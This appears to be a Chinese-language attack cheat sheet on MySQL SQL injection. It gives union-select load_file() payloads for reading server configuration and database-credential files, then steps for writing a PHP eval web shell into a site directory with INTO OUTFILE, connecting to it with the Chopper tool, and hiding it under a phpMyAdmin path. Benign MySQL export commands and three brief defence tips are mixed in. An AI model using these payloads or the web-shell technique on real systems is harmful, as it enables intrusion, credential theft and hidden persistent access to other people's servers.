標籤:mysql伺服器 from tab union php @ 輸入 style ini mysq
0x00 load_file()
1. 要有file_priv許可權2. 知道檔案絕對路徑3. 能使用union4. 對web目錄有讀許可權 註:若過濾了單引號,則可以將函數中的字元進行hex編碼
一般步驟
- 讀/etc/init.d下的東西,這裡有設定檔路徑
?id=1‘ union select 1,2,load_file(‘/etc/init.d/httpd‘)
?id=1‘ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf‘)
?id=1‘ union select 1,2,load_file(‘/site/xxx.com/conf/conn.inc.php‘)
0x01 into outfile
1. 要有file_priv許可權 2. 知道網站絕對路徑 3. 要能用union 4. 對web目錄有寫入權限 5. 沒有過濾單引號
其他方法
use test; 選擇資料庫為testcreate table aaa(bbb varchar(64)); 在資料庫中建立一個表aaainsert into aaa values("<?php @eval($_POST[‘c‘]);?>"); --在aaa中插入一條資料<?php @eval($_POST[‘c‘]);?>select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘; --將aaa中的資料匯出到檔案a.php
drop aaa; --刪除建立的表
菜刀串連http://www.aa.com/a.php,然後更改shell的名字並將shell放在較隱形地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php
1、如果MYSQL伺服器就是你要匯出檔案的機器,那麼可以直接用select …into outfile語句。
select * from rank into outfile "/home/a.txt"
2、如果MYSQL伺服器是單獨的機器,我們是在一個client上進行操作,我們要把資料結果匯入到client機器上。可以使用mysql -e語句。
mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt
3、使用mysql的tee(T)命令,也就是把MYSQL的所有輸出都輸入到指定檔案。
mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit
或
mysql> \T output.txt
Logging to file ‘output.txt‘
mysql> \t
Outfile disabled.
0x02 防禦
- 資料庫連接帳號不要用root許可權
- php關閉報錯模式
- mysql賬戶沒有許可權向網站目錄寫檔案
mysql load_file()和 into outfile